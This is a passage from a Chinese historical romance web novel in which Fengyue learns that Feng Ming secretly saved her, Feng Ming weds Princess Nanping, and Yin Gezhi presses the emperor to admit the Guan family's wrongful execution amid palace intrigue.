眨了眨眼,她干笑,嘴角却都抬不起来:“怎么回事?!”
抹了把脸,尹衍忠愧疚地道:“当年我只觉得关家冤枉,可也无能为力啊,也就没打算做什么。是当时的封世子找到我,说有门路能救少主,让我帮忙,于是我才去接的人。怎么贿赂的我不知道,他只说让我别告诉少主。当时的少主,也的确不愿意一个人苟活,让别人送死,所以……”
风月红了眼,忍不住看了看旁边的灵殊。
灵殊满脸天真,随他们说事,半点也不想听,依旧抱着她的果脯咬啊咬的。
殷戈止垂眸,脸上没什么多余的表情,跟在石鸿唯面前的时候一样,让人半点捉摸不透。
风月问:“封明这回会被我牵连,是吗?”
“嗯。”他应了一声。
心情有点沉重,风月抿唇:“你会救他吗?”
抬眼看她,殷戈止道:“我若是不救,他岂不是得大便宜了。”
只是,不好救,动作得快了。不然这两个人都被人盯上,那下场一定好不到哪里去。
“最近别往外跑,澧都一定会严查找人的。”起身扣了扣石桌,他看着风月道:“老实点。”
风月皱眉。
半晌之后,封明被带过来了,满脸茫然地看着他们:“怎么了?”
风月一撩袍子就朝他跪下去,磕了三个头。
吓得往旁边一跳,封明瞪眼:“这是怎么了?中邪了?”
“谢你救命之恩该有的礼数。”抬起头,风月看着他道:“你该早点告诉我的。”
微微一愣,封明干笑:“那件事怎么会被你知道了?其实不用谢我,小事……”
话没落音,刚刚还跪在地上的人就猛地蹿了起来,一把捏住他的脖颈就往死里掐!一边掐一边面目狰狞地吼:“我让你救了吗?啊!白送一条人命不说,活着这么痛苦的事情,你也让我来承受?咱俩多大仇?啊!多大仇!”
被掐得喘不过气,封明愕然,顺势捏着她的手腕,又好气又好笑地道:“你就是这么对救命恩人的?”
风月咬牙:“掐你一炷香我给你磕三个头再继续掐!”
“哎,冷静点。”伸手摸了摸她的脑袋,封明笑着的眼里露出些亮
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得夺目的光,眨也不眨地盯着她,叹息道:“我是当真舍不得你死啊,所以自私了一回。”
红着眼睛瞪着他,风月哽咽:“你可知道你这自私的行为,会给你镇国侯府招致多大的灾祸!”
“我都明白。”垂了眼眸,封明一下下地摸着她的头顶,声音难得地柔和下来,像被太阳晒热了的水,温柔地将她包裹在里头:“我自己造的孽,自己会承担。其实早就想过了,万一被人知道,也不过是个不忠之罪,皇帝忌惮镇国侯府,也就是怕我封家还与关家有什么牵连,会为祸皇室。关于这个,我一早就想到了办法。”
“这些天我一直没来找你,有点忙,不过有个消息你听见了应该会很高兴。”笑着看着她,封明的眼睛好像闪烁着什么光,咧嘴一笑,那光都差点落下来:“我要同南平公主成亲啦。”
院子里的人都是一愣,殷戈止也难得地正眼看向了他。
风月怔然,眨了眨眼。
“是不是很高兴?终于能摆脱我了。”面前的人高大英俊,顶着铁玉冠,阳光都从他头顶倾泻下来,透过他的睫毛,落在她头顶:“算是我送你最后的礼物吧,从小你就不待见我,我也一直执着地想娶你为妻,说永远不会放过你,吓得你总是抱头鼠窜。”
想起儿时追追闹闹的场景,封明笑得很是开心。
十五六岁的少年,意气风发,骑马追着人家姑娘不放,一边追一边喊:“关清越,你跟我回家!”
“我不!”粗鲁的少女骑着马,回头就骂:“谁要跟你这流氓回家,老娘不嫁!听见没?不嫁!”
“你不嫁我也娶!现在不嫁,二十岁嫁我娶!二十岁不嫁,三十岁也行!实在不行,等你老了跑不动了,我就把你抢回家!”
晚霞正好,那两个身影吵吵闹闹的,在记忆里跑成了两道影子,越来越远,终于是看不见了。
低笑出声,封明看着风月哑声道:“我是当真很喜欢你。”
不过他自己犯的错,能弥补的话,就不能再自私第二回了。皇帝的圣旨,也抗不得第二回。与南平成亲,皇帝就能卸下对镇国侯府的防备,哪怕这件旧事翻出来,他已经与父亲说好,就推成他年少不懂事,也不会有滔天大祸。
抬眼看着他,风月觉得喉咙有点紧,张了张嘴,也不知道该说什么。手里抓着他的衣裳,紧了紧,又松开了。
“成亲之后,就莫要再念着之前的事情了。”长出一口气,清了清嗓子,风月道:“南平公主是个很善良的姑娘,你不能对不起人家。决定要娶了,那就得一辈子对人家好,不然别说其他的了,殷戈止就头一个不会放过你。”
封明低笑,转头看着殷戈止:“王爷应该是最高兴的,少了我这个劲敌。”
微微皱眉,殷戈止摇头:“我并不会高兴,你这样的人,无法给南平幸福。”
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第168章 婚期
封明一听就笑了:“是啊,我多半不会是个好丈夫,那王爷有法子,替我拒了这婚事?”
殷戈止闭眼,他能拒么?南平喜欢这人,就算这人心有所属,那也不该他来插手。何况现在这关头,当真没了这婚事,镇国侯府就不知会有什么命运了。
“你们成亲的日子,是什么时候?”他问了一句。
“下个月月底。”
“那我能做的,就是帮你们将婚期提前。”殷戈止抬眼,目光深深地看着他道:“亲可以成,我不拦着,但你当真与她过不下去,就守好礼数,等南平死心了,我便去接她。”
风月吓了一跳,瞪眼看着他:“亲都成了,你这是要让南平和离?”
“不是我让。”殷戈止道:“我只是给南平留一条后路,万一她真的后悔了,觉得封明给不了她她想要的东西,那她可以选择离开,重新再选。”
封明想也不想就点头:“行,公主帮镇国侯府这一次,我会记在心里,绝对不会伤害她。”
“那现在就别耽误了。”殷戈止起身就理了理衣裳:“我去宫里一趟,封将军待在镇国侯府暂时别出去,至于其他人……”
扫了院子里的人一圈,目光落在风月身上,他低声道:“去孝亲王府最为妥当,澧都很快就会开始**搜查了。”
这话听得众人皮子一紧,风月沉默,很不想再欠这个人人情,可放眼整个澧都,没人能搜的,搜到也定然不能拿他们怎么样的,就只有孝亲王府了。
不要脸就不要脸吧,大家的性命最要紧!
于是,殷戈止刚迈开步子,就见风月“嗖”地蹿进屋子里,拎着灵殊一起收拾东西,一边收拾一边喊:“都去带点换洗衣裳!”
众人听令,纷纷四散。都是从过军的,做事干净又利落,殷戈止才走到大杂院门口坐上车,那一群人就已经背着包袱涌出来了。
捏着车帘,他斜眼看过去,就见那一抹红色跟个山大王似的,站在一辆牛车前头招手:“快点儿,秋夫人先上。郑婶呢?赶紧的赶紧的!”
脸上的胡须随风飘扬,跟那一身红裙一点也不搭,奈何那人压根没注意,一脚踩在车辕上,一只手举着挥着,分外豪迈。
殷戈止有点想笑,不经意一转眼,却看见了门口站着的封明。
没像往日那般咋咋呼呼的,封明今天很安静,绣着麒麟暗纹的袍子在风中微微翻起衣摆,像城门口铁铸的士兵一般岿然不动。
只是,他的眼神隔老远也能让人看得清楚,很多复杂的感情汹涌澎湃,流出来的却是缱绻的温柔,越过众人,直直地落在那头的“山大王”身上。
“山大王”恍然未觉,招呼着众人坐了两辆牛车,然后自己蹲在车辕上,回头还朝封明挥手:“那我们先走了。”
“好。”微微颔首,封明咧嘴一笑,看着牛车缓缓地往前走,等到街口拐了角看不见了,才收回目光,垂了眼。
“封将军。”殷戈止淡淡地问:“要送你一程么?”
身子僵了僵,封明掀开眼皮看他,大步就过来上了车,眯着眼睛道:“你很高兴吧?方才当着她的面儿你有顾忌,现在你可以笑了。”
睨他一眼,殷戈止道:“这点事想让我笑出来,还有点难度。”
封明眼睛都红了,一拳就朝他打过去!马车内的空间小,殷戈止只能伸手接住,微微挑眉:“想打架?”
“想!”
点点头,殷戈止出手极快,一拳揍在他腹部。
于是,驾着车的观止就感觉整个人左摇右晃了起来,车厢里闷哼声不断,拳头到肉的声音也是分外清晰。
“主子?”有点担忧地勒马,观止回头喊了一声。
伸手挡住他一掌,殷戈止语气平静地道:“继续往前走,先去镇国侯府,不用停。”
“……是。”
封明是用了大力气的,虽然就几招中了,但泄愤的效果是很好的。呸了一口血沫,他抹着嘴骂:“你这畜生!护着自个儿的脸不让我揍,这一拳拳都往我脸上揍是什么意思?嫉妒老子长得比你好看?”
云淡风轻地拂了拂衣摆,殷戈止道:“脸上带点伤,这样就算成亲礼堂上你表情不好看,那人家也肯定不会在意,都会去想你被人伤着了。”
封明一愣,低头想了想,好像是这个道理啊?
还没想完呢,对面又是一拳过来,直接打在他脸上!
“我去你奶奶的!”反应过来了,封明怒道:“你就是想打我脸!”
说罢,反手一拳,狠狠地还了回去!
殷戈止侧头,牙齿磕着了嘴,也呸了口血沫,挑眉看着对面这人:“下回,咱们再堂堂正正地打吧。”
“谁怕谁?!”
马车停了,封明气愤不已地跳下去,揉着自己的脸颊,狠狠地瞪了殷戈止一眼。见他嘴角也有淤青,心里总算平衡了些,“哼”了一声,扭头就往镇国侯府里走。
观止摇头,看着那影子消失了,才唏嘘道:“就没见过您这样安慰人的。”
食指轻轻抹了抹唇角,殷戈止摇头:“去皇宫吧。”
“是。”
风月带着众人去了孝亲王府,尹衍忠等人本来还挺忐忑的,毕竟是王府啊,这种地方规矩多人也多,万一有谁的眼线在里头,出卖了他们,亦或是他们做错了什么,那该怎么办?
可是,一进王府,管家迎出来,竟然半点没觉得诧异,接过风月手里的包袱就道:“各位里面请,王爷让人来传过话了,房间都已经收拾好,有什么需要的
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,姑娘只管说。”
“有劳。”风月颔首,熟门熟路地进去主院把东西放了,然后带着众人去纷纷安置。
罗昊神色古怪地道:“少主怎么跟回家了似的自在?”
背后一凉,风月干笑:“哪儿啊,是对这儿还算熟悉,毕竟被关过一段时间。”
秋夫人摇头:“看那管家的态度,可没把您当犯人看。”
“那是他府上的人训练有素,都是从军出身,跟外头那些个谄媚附势的家奴不一样。”打开一处院子的门,风月指了指:“你们先进去放东西。”
“少主。”
前头的人挨个儿进院子,秋夫人走在最后,目光有些担忧:“说实在的,将来会是什么场面,大家都不知道,如今受孝亲王的恩倒是不少,将来万一到了狭路相逢之时,您打算怎么做?”
“不还没到那时候么?”别开头,风月笑道:“既然没到那时候,就别急着拿这些问题把自己套住了,我有分寸的。”
深深地看她一眼,秋夫人捏了捏她的手,跟着进去放包袱。
次日早朝,魏文帝坐在龙椅上,龙颜大怒:“关于石丞相所禀之事,朕打算严查!就算现在关家旧案正在重审,可**之罪不能轻饶!既然关家嫡女关清越三年前便被人救出囹圄,那现在你们便给朕去查!查她的下落,抓回天牢候审!”
怒斥之声响彻整个朝堂,文武百官跪倒在地,皆不敢抬头。
其实要是一般的犯人**,是不足以惊动皇帝,甚至让他这般恼怒的。可不巧,逃的恰好就是关清越,恰好,当年他给关家定下的罪名是错的,恰好,他不得不翻案。
这样一来,他堂堂帝王,岂不是要给个女儿家认错?
休想!
魏文帝怒不可遏,一顿嘶吼下来,眼前阵阵发白。
“父皇,儿臣必定会全力追查的!”太子难得地主动站了出来:“父皇保重龙体啊!”
喘了几口气,咳嗽两声,魏文帝缓过劲来,面容突然就让人觉得苍老了不少。
其实他本来也不年轻了,只是精神头一向甚好,就算脸上满是皱纹,也不让人觉得老迈。可现在,魏文帝身子虚弱,连带着也没了精神,瞬间就老了十岁,挥手的动作都迟缓得很:“你去查,你去。”
朝堂上安静了一会儿,魏文帝抿唇,问了一声:“可还有别的事情?”
“启禀陛下。”司辰令站了出来,拱手道:“近日星象有变,我大魏恐有战乱之灾。微臣与钦天监众人商议了一宿,认为要平祸事,恐怕得将南平公主婚期提前,以作挡灾纳福之用。”
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第169章 等得够久了
说着,还呈上了一份奏折:“具体天象,微臣都记在此处,请陛下过目。”
当世各国都有钦天监,都以天象为信,魏文帝自然也不例外,闻言便让人传上折子来,认真看了看。虽然看不懂,但也是一脸严肃地问:“提前至何时最为妥当?”
司辰令拱手道:“五日之后,也是良辰吉日,宜嫁娶搬迁。”
五日?魏文帝皱眉:“仓促了些,不过也没什么法子了,为了我大魏,这点委屈,南平还是能受的。那就请奉常早些准备,司内衙门也快些备好东西,五日之后行礼吧。”
“是!”司辰令拱手退了下去。
这点小事,谁都没放在心上,石鸿唯一心相助太子,因为他觉得,这背后**救出关清越的人,一定跟殷沉璧脱不了干系!
新的婚期下来了,南平急急忙忙地就去了孝亲王府。
“怎么办那?”脸上又是娇羞又是害怕,南平扯着帕子眼泪汪汪地看着殷戈止:“我还没准备好,这么匆忙就要嫁给他了?”
殷戈止抬眼看她:“不想嫁?”
“不不不!”南平咬唇,捏着帕子就擦了擦眼睛:“我……我想嫁,可是太紧张了!”
轻轻摇头,殷戈止叹了口气,伸手接过风月端上来的点心放在她面前:“这个皇兄就帮不了你了,女儿家出嫁的心情,皇兄不了解。”
拿起一块点心,南平可怜巴巴地咬了一口,眼睛往旁边一看,就惊讶地“啊”了一声:“这不是……风月姑娘?”
不是什么民间劝架师傅吗?怎么在王府里?
风月干笑,一边行礼一边道:“见过公主,最近外头的日子不好过,民女在王府讨口饭吃。”
眨眨眼,南平看看她,又看看自家神色镇定的皇兄,突然觉得有点奇怪,可又说不上哪里奇怪。
罢了罢了,这不是重点,好不容易有个女儿家了,还是个口齿伶俐颇有本事的女儿家,南平立马就拉着风月的手,塞给她点心,很是诚恳地问:“姑娘肯定懂我即将嫁人忐忑不已的心情,你安慰安慰我吧?”
风月愕然,低头认真地想了想,嫁人的心情?的确是知道的!
“为什么会忐忑呢?”微微皱眉,她一脸严肃地道:“我当初要嫁人的时候,恨不得提刀先把那人砍了,然后过去守活寡!”
南平傻眼了,一颗紧张不已的心,被她吓得差点停跳:“砍……砍自己的夫君?”
“嗯。”挠挠脑袋,风月道:“完全不紧张啊,就觉得他不让我好过,我也不让他好过!”
南平:“……”
殷戈止听得直摇头:“你那是所嫁非人,不是你想要的婚事,自然想着乱折腾。南平不一样,她念叨那封家的世子,已经有两年了。”
从两年前皇室开宴送封明上战场,两人见过一面之后,南平就一直嘀嘀咕咕地说,封明真英武啊,年纪轻轻地就能挂帅为将,听闻还一直不肯娶亲,好像对原先定下婚事的姑娘很是深情,哎皇兄,您能不能请他来招舞宫用膳啊?
本以为是小女孩儿情窦初开,不曾想这都两年了,南平对封明的惦记一点没少,反而更加执拗。
听殷戈止这么说,风月就有点担忧了。要是普通的姑娘还好,可给封明个深爱他的姑娘,他能好好珍惜么?
想了想,她语重心长地道:“成亲后的日子可能没有公主想的那么幸福快乐,您要嫁的是封将军,婚后也许他一去战场就是几年不归,这样的苦,您要是受不住,记得提前跟王爷说。”
眼神坚定,南平握拳:“选他之前我就想过这些事情了,可是我仰慕他,能嫁给他就已经很幸福了,至于其他的事情,可以慢慢再看。”
殷戈止沉默,风月也沉默,整个屋子里除了南平公主一个人闪闪发光,其他人身上都灰蒙蒙的。
南平去更衣了,殷戈止看着风月便问:“你怎么想?”
“什么我怎么想啊?”有点抓狂,风月挠着桌子道:“这种感觉可不好受,不是我看得起自己,而是封明那个人本来就固执,一时半会儿可能很难全心全意对南平公主。南平公主是个好姑娘啊,眼睁睁看着她往火坑里跳?不能啊,可拦着她?怎么拦?难不成我上去说您别嫁了,封明心里还装着我?我有病啊?”
跟猫磨爪子似的,风月挠得殷戈止面前的矮几上全是划痕。
斜她一眼,殷戈止道:“既然觉得想不通,那就别想了,置身事外吧。”
“我怎么置身事外?”风月咬牙:“不都跟我有关系?”
“封明是喜欢你,但与你无关,那是他一个人的感情,你没求他也没骗他,不用为他负责。”眼帘一垂,殷戈止冷漠地道:“至于南平,更与你没什么关系,她是我的皇妹。”
这么一想,还真没什么关系嘿!风月点头,被殷戈止说服了:“那我就不管了。”
还是认真做自己的事情吧。
京中**了,风月偷偷摸摸换了男装贴好胡须去廉恒那儿报到,廉恒不要原则地给她开了后门,挂了个名额。
殷沉玦像是要将整个魏国翻个遍似的,不仅往各个郡县发了通缉令,更是派了护城军四处搜查,街上的行人都被一个个抓着对比画像。百姓们都吓得不敢出门。
石鸿唯是想搜孝亲王府的,奈何没有皇帝给的圣旨,亲王的府邸不能随意进,于是他只能派人天天在那附近晃悠,企图抓几个出来的人问问。
然而,几日过去,一无所获,护城军那边也没抓到任何人。
石鸿唯很想责备护城军不尽职,然而他时不时也上街看,经常能看见廉恒亲自带兵四处盘问,跟着的那几个兵他都眼熟了,实在也无从怪起。
瞧瞧,那满脸络腮胡子的士兵多认真啊,旁边的路人一个也没放过,抓起来就比对画像,眼神坚定。虽然个头小,可态度好啊,看得他都想提拔一二。
这么严厉地盘查,都没有找到人,石鸿唯摇头,心想也许那关清越逃走之后,死在了别处呢?也不一定就在魏国啊。
想通了这点之后,石鸿唯决定,还是帮太子去仔细查查**之人!
镇国侯府大喜,锣鼓喧天,鞭炮齐鸣,南平公主从宫里出嫁,红妆蔓延,直达镇国侯府。
这场婚礼太子自然是要出席呢,正在镇国侯府门口看热闹呢,冷不防就听身边的人来禀告:“殿下,查到人了!”
“什么?”愣了愣,殷沉玦连忙问:“查到谁了?”
“那逃走的狱卒被石丞相的人抓了回来,严刑拷打之后终于招了,说当时是镇国侯府的一个护卫给的银子,他畏惧镇国侯府的权势,
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不得不答应的。”
镇国侯府?殷沉玦有点茫然地想了想:“这地方怎么这么耳熟啊?”
护卫一愣,伸手指了指后头门楣上的牌匾。
殷沉玦顺势看过去,恍然点头:“哦,这可不就是镇国侯府么?”
说着,身子猛地一僵,眼睛也瞪得大大的,大喊了一声:“镇国侯府?!”
四周的人都吓了一跳,石鸿唯皱眉看向他,凑过来低声道:“殿下,大庭广众,您注意仪态,有何事值得喧哗?”
紧张地抓着石鸿唯的袖子,殷沉玦压低声音激动地道:“是镇国侯府啊!当初买通狱卒放走关清越的,是镇国侯府的人!”
微微一愣,石鸿唯铁青了脸:“怎么会……”
“怎么不会?”太子道:“那封明不还与关清越有婚约么?一向很喜欢她的,**放她走,的确是情理之中。”
气得闭了闭眼,石鸿唯摇头,他管谁喜欢谁呢?他想扯下水的是殷戈止,现在扯出来个封明算怎么回事啊?今天是封家迎娶公主的大好日子,压根不可能在这个时候问封家的罪。可等这婚事结束,封明就已经是驸马爷了,谁闲得没事做拿三年前的旧案去给新驸马和公主找不自在啊?就算禀明圣上,圣上也肯定会让他们瞒下此事,当做没发生过的。
怎么会这样呢?
太子什么都没察觉,犹自高兴,压着声音道:“咱们把这事告诉父皇,父皇一气之下,南平就别想嫁封明了。”
“殿下。”石鸿唯恨铁不成钢地道:“事情哪有您想的那么简单?封明现在是魏国第一将军,有什么仗都指望他带兵去打,您猜皇上会不会降大罪于他?况且是公主嫁过来的节骨眼上,您跟封明过不去,岂不是跟公主、跟赐婚的皇上过不去吗!”
殷沉玦一愣,很是不甘心地道:“那难不成就这么算了?咱们好不容易抓到的把柄……”
“没用了。”拂了拂袖子,石鸿唯皱眉道:“说什么都没用了,这件事敷衍了事吧,随便拉个已经不在了的人顶罪,别去得罪陛下了。”
“那关清越……”
“抓不到。”突然觉得有点疲惫,石鸿唯道:“消失了三年多的人,要找到也没那么容易。”
殷沉玦愕然,心猛地往下沉。
他自己揽来的差事都做不好,父皇会怎么看他呢?
不用问,魏文帝大怒,在御书房狠狠骂了他一顿,气急之下,连“你这样的人,怎么当太子”这种话都说出来了。
殷沉玦瑟瑟发抖,去中宫见自己的母后,眼泪直流。
“儿臣也觉得自己可能不适合当太子。”他哽咽道:“有大皇兄在前,父皇无论如何都不会对儿臣满意。”
温柔地摸着他的脑袋,石皇后笑道:“怕什么呢?你父皇已经老了,等他驾鹤仙游,这魏国的天下,必定还是你的。”
父皇才四十多岁啊,明年才满五十,身子一向硬朗,怎么仙游?殷沉玦很疑惑,抬头却看见自家母后镇定的神色。
“这么多年了,你和母后都等得够久了,你父皇若是还心属他人,那就怪不得母后心狠手辣了。”
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第170章 皇帝的面子
先皇后还在的时候,魏文帝对她是格外宠爱,连带着对殷戈止和南平也比别的皇子公主更加爱重。石氏当时只是贵妃,自己被冷落也就罢了,谁曾想自己的儿子也不得皇帝器重。大皇子从小住东宫,可玦儿直到成年,都一直住在她这里,连教学太师都用的是皇帝给大皇子挑剩下的!
对这种情况,石氏是不甘心的,一早就在背地里谋划,先皇后一死,她便想着法子让哥哥助她登上后位,又费尽千辛万苦,才将玦儿扶上了太子之位。该用的法子都用了,从来没有心慈手软的时候。好不容易走到今天这一步,若皇帝还有废太子之心,那她只能铤而走险了!
后宫的女人是悲哀的,一生都在为家族荣誉和自己的地位而活,尤其是不受宠的女人,心里早就没了少女对感情的憧憬,有的只是浓浓的怨念,和对权势的欲望。
魏文帝恍然未觉,他犹自在沉思,气太子不中用,却也忌惮殷戈止的能力。
关清越潜逃在外,关家**的真相又一点点浮出水面,虽然与此同时,吴国使臣好说话了很多。但魏文帝很担心,他总觉得自己的龙椅旁边有人在虎视眈眈,叫他吃不好睡不好,龙体抱恙难康。
“父皇。”
御书房里,殷戈止长身玉立,双手捧着奏折,表情平静地道:“关家旧案,牵扯其中的官员一共六十八人,其中三十位尚在朝野,根据所为之事,儿臣定了他们该有的惩罚,并着罪名一起记录在案,请父皇过目。”
眼睛盯着他,魏文帝的表情有点难看:“牵扯的人太多了,沉璧,你可听过一个词?叫‘罪不责众’!”
“儿臣从未认可过这个词。”抬眼看向上头,殷戈止眼神执拗地道:“罪就当责,一人罪责一人,百人罪,责百人。既然父皇当初可以因一人之罪**关家百余人,那如今又怎会定不下这六十八人的罪过?”
微微一噎,魏文帝又咳嗽起来,脸上的神情甚为疲惫,拍着桌子,颇为恼怒地道:“你这孩子,为什么偏要跟朕作对呢?”
“儿臣并非想与父皇为难。”微微拱手,殷戈止道:“儿臣只是求个公道,关家无罪,有功无数却含冤三年,满门尽没,父皇何以还觉关清越**有罪?她若是都没活下来,父皇连恕罪的机会都没有。”
“放肆!”低斥一声,魏文帝脸色难看至极:“朕恕什么罪?朕没有罪!”
“马上便是殷氏皇族祭祖大典了。”压根没听他说话,殷戈止自顾自地道:“儿臣已经与奉常大人商量过,为表对关家的歉意,还望父皇在祭祖大典上昭告天下,关家无罪。”
“什么?!”一拍扶手站了起来,魏文帝气得浑身发抖:“你要朕当着列祖列宗的面认错!”
“不应该?”冷了脸色,殷戈止表情凝重地看着他道:“父皇登基刚立,明王爷为乱,朝中一半官员倒戈,是关将军带着十万士兵勤王于澧都,护得父皇皇位稳固!吴国屡犯我边境,在职将领皆只愿享福不愿打仗,是关将军二话不说上阵杀敌,守我大魏边境几年安生!南乞之战,粮草不济,兵力不足,是关家丝毫不退,死守城池,才没让吴国夺下南乞城,威胁我澧都腹地!”
魏文帝有些慌乱地移开视线,缓缓地在龙位上坐了下去。
殷戈止清冷的声音里带了些颤抖:“他是个值得尊敬的人,平昌一战,儿臣有错。儿臣应该多点人情味,多信他一分,不将书信传回澧都,兴许父皇也就没借口那么快杀了他了。”
可那时的他,遇事情是半分情面也不讲的,管是功勋震主的关苍海,还是别的什么人,只要犯了事,证据到了他手里,他都会秉公办理。却不曾想,他秉公了,别人不会秉公。这肮脏的皇权下头,藏着的是对忠臣的杀心!
“儿臣愿意与父皇一起向列祖列宗请罪,向关家认错。”喉结上下滚动,殷戈止看着魏文帝道:“只请父皇,别再顾及皇家的颜面。”
魏文帝听得沉默,眼珠子缓缓地左右转动,良久之后才问了一句:“朕要是不肯呢?”
“父皇最喜欢的,是手中的权力吧?”早料到他这个回答,殷戈止轻笑,神色更加冷漠:“不管是兵权还是别的大权,您一向牢牢握在自己手里,从不假手于人。”
轻轻哼了一声,魏文帝看着桌上的玉玺,算是默认。
“既然如此,那恕儿臣斗胆。”微微颔首,殷戈止道:“从知道关家**开始,儿臣就想好了,父皇要是一意孤行,那儿臣就只能与父皇一战了。”
“哦?”冷笑一声,魏文帝眯眼看着他:“你区区皇子,朕可是天子,你想拿什么跟朕一战?”
“很简单。”殷戈止垂眸:“来之前儿臣与吴国的太子商议好了,放儿臣归魏国,儿臣可以领军出征。同吴国一起抗宋。他对联合魏国也就一个条件,让儿臣挂帅。”
心里一紧,魏文帝皱眉,他亲自与吴国使臣谈过,条件的确是这个。
“父皇以为儿臣为什么仅一年就能归?”低笑一声,殷戈止道:“若不是胸有成竹,儿臣也不敢与父皇过招。此回吴魏两国联盟若是破裂,魏国会是什么下场,父皇心里清楚。”
齐国本就对魏国虎视眈眈,若是再惹吴国,到时候吴魏两国联合,先吞魏国,再抗宋,一举多得。本来吴国的选择就不止一个,能与魏国联合,已经算是魏国国祚深厚了。
有些恼怒,魏文帝道:“你就不怕你先死在这里?”
虎毒不食子,可他是人,人心可比老虎可怕多了。
殷戈止神色黯淡了些,背脊却挺得更直:“父皇想杀儿臣,是想靠这宫中禁卫?”
想起自家皇儿那恐怖至极的功夫,魏文帝有点心虚,表情镇定撑着场面,心里却是打起了鼓。
他要是先朝殷戈止下手,那就给了他**的理由了。先不说朝中拥护他的人本就不少,就说禁卫,那陈卫尉可是东宫出身,虽然也算对他忠心耿耿吧,可对面
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要是殷沉璧的话,他能不能听话,还得另说。
有些慌神,魏文帝软了语气道:“血浓于水,毕竟是亲生的儿子,朕怎么可能舍得对你下手?可是沉璧啊,你不能因为父皇心软,就这般逼迫父皇啊。”
“五年之前,魏国的实力尚能与吴国媲美,甚至是略能胜之的。”微微皱眉,殷戈止语气沉重:“短短五年,魏国四处树敌,征伐不断,民不聊生。百姓出逃,国土荒芜,国力更是日渐衰弱,父皇都没想过原因吗?”
“朕怎么可能没想过?”魏文帝有些不服气:“朕一直问责朝中大臣,可能用的人越来越少了,朕每日有五个时辰都在批阅奏折,可有什么用呢?”
“当真是臣子无用的缘故?”殷戈止摇头:“是父皇独断专行、不肯放权、赏罚无度、是非不分、还以喜好提拔官员,这才导致朝中人才流失,无能干之人!”
魏文帝竖眉:“朕何至于你说的这般昏庸!”
“难道不是吗?”殷戈止叹息:“以赵旭为例,他本只是澧都文人,有些字画上的名气,父皇爱字画爱书法,便破格提升为内吏。因他善于奉承,短短两年便给他升了太尉!父皇,太尉可是三公之一啊,这等的官职,能这么给吗?”
有点心虚,魏文帝轻咳两声,没接话了。
“直到后来他被查出府里有尸体,父皇是怎么做的?让儿臣莫管,还说他委屈了!敢问父皇,太尉府后院的女尸,与您有干系么?”
“大胆!”拍案而起,皇帝怒道:“与朕能有什么干系?朕去他府上,从来只论字画,不论其他!”
“那父皇是何以偏私他至此?”殷戈止眼含嘲讽:“就因为他字写得合父皇心意?”
“你不懂!”魏文帝有些焦躁地道:“当今能沉下心写字的人本就不多,更何况他在颜体字上成就颇大,将来是要流于史册的!”
听得笑出了声,殷戈止摇头:“就因为这样,父皇便能包庇他**之过,难道还不算是非不分吗?”
魏文帝哑口无言,僵硬半晌,终于低头反思起来。
“儿臣执意要翻案,要父皇昭罪于列祖列宗,不是为了抹父皇的面子,是想最后拉魏国的一把,还魏国朝廷清正之风,热忠臣之血,留忠臣之心。只有这样,我大魏才有重新强盛的希望!”
这话殷戈止是第二遍说了,第一遍魏文帝不信,第二遍他却是不得不听。
御书房里安静了许久,沙漏都快到了底,就在殷戈止有些绝望,以为魏文帝要死不悔改的时候,他开口了,声音透着疲惫。
“罢了。”魏文帝道:“认错就认错,昭罪就昭罪吧,为了我魏国江山,朕愿意听你一言。”
心里一喜,殷戈止很是意外地看向他:“父皇此言当真?”
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第171章 我也不想你为难
“当真。”魏文帝满眼唏嘘:“满朝文武,少有人敢跟朕说这么多,所以朕偏听偏信,着了小人的道……朕也曾满腔热血,想将魏国治理得国泰民安,朕也不想看着魏国一步步没落……沉璧,朕听你的,都听你的,只要还有转圜的余地,只要魏国能顺利度过这危机,朕什么都可以做。”
一意孤行了十几年的皇帝,今日好像才突然明白自己错在哪里,目光真诚地朝自己的儿子悔过,双眼期盼地看着他:“你来安排吧,包括与吴国的合约,朕都交给你。”
心里突然就有些轻松,殷戈止看着自己的父皇,道:“您能这样想,儿臣死而无憾。”
“你怎么能死呢!”起身绕过桌子走到下头来,魏文帝泪眼婆娑地拍了拍他的肩膀:“父皇的江山,玦儿可扛不起啊!还得落在你的肩上。”
一听这话,殷戈止有些意外地看了皇帝一眼,却见他神色疲惫,看起来苍老又可怜。
“玦儿没什么大出息,朕立他为太子,不过是为了稳定臣心。你回来了,这太子之位本就该你来坐,等祭祖大典一过,朕就废太子,改立你。”认真地看着他,魏文帝道:“你做好准备。”
对于太子这个位置,殷戈止没什么抢夺的欲望,可魏文帝若当真要给他,他也能接得住。于是点了点头,行了礼就告退了。
他一走,御书房里伺候的太监就传了话去中宫。石皇后一听,当即大发雷霆,砸了能砸的所有东西,将自己锁在宫里了一整天。
这些事殷戈止是懒得知道的,得了皇帝的首肯,他便先去与奉常敲定了祭祖流程,再去驿站与两个徒儿好生说了一会儿话。
徐怀祖和安世冲不能在澧都耽误太久,毕竟谁都不清楚战火会在什么时候燃起来,所以听见这样的好消息,两个徒儿是分外高兴的,起草了合约,盖上印章,先让快马传回吴国去报信。
眼瞧着事情都妥当了,殷戈止便回了孝亲王府。
风月戴着头盔穿着护城兵的铠甲从外头回来,正好跟他在门口撞上。
“你去哪儿了?”看了看她这德性,殷戈止嫌弃不已。
抹了一把脸上的胡须,风月笑嘻嘻地道:“佛曰:不可说。”
这两天她一直跟着廉恒四处乱晃,终于是在各处混熟了,今日陈卫尉已经问廉统领要了她,打算让她去祭祖大典上护卫皇室周全。——这事儿要是告诉了殷戈止,她还去得成么?肯定会将她锁起来的,想都不用想!
其余的人都已经布置好了,会有皇帝的贴身护卫跟她换位置,届时魏文帝祭祖,她便会在离魏文帝最近的地方。
虽然她手上已经没了捏长刀长剑的力气,也没了内功可用,可要对付同样不会武功并且年迈的皇帝,又有旁边的人作掩护的话,得手的机会非常之大。
这算是最后一搏了吧。
朝殷戈止露出个灿烂的笑意,风月扭头就想往门里走。
“等会。”殷戈止喊住她:“我有事想跟你商量。”
“什么?”
伸手拉过她的手腕,殷戈止带着人就进了主院,将观止和灵殊统统关在外头,然后一脸严肃地盯着她问:“想不想去祭祖大典?”
瞳孔微缩,风月有点心虚,却不敢移开眼睛,眨眼看这人半晌,心想不会那么倒霉吧,刚刚布置好的东西,就被这位爷发现了?
见她不说话,殷戈止便沉着脸继续道:“我已经说服了父皇,在祭祖大典上昭罪于天下,向关家认错。你若是愿意去听他道歉,我便给你安排一个周全的位置。”
心口一松,接着又是一沉,风月歪了歪脑袋:“道歉?”
道歉有用的话,还要律法做什么?
看着她的神色也知她不愿意,殷戈止垂眸,淡淡地道:“罢了。”
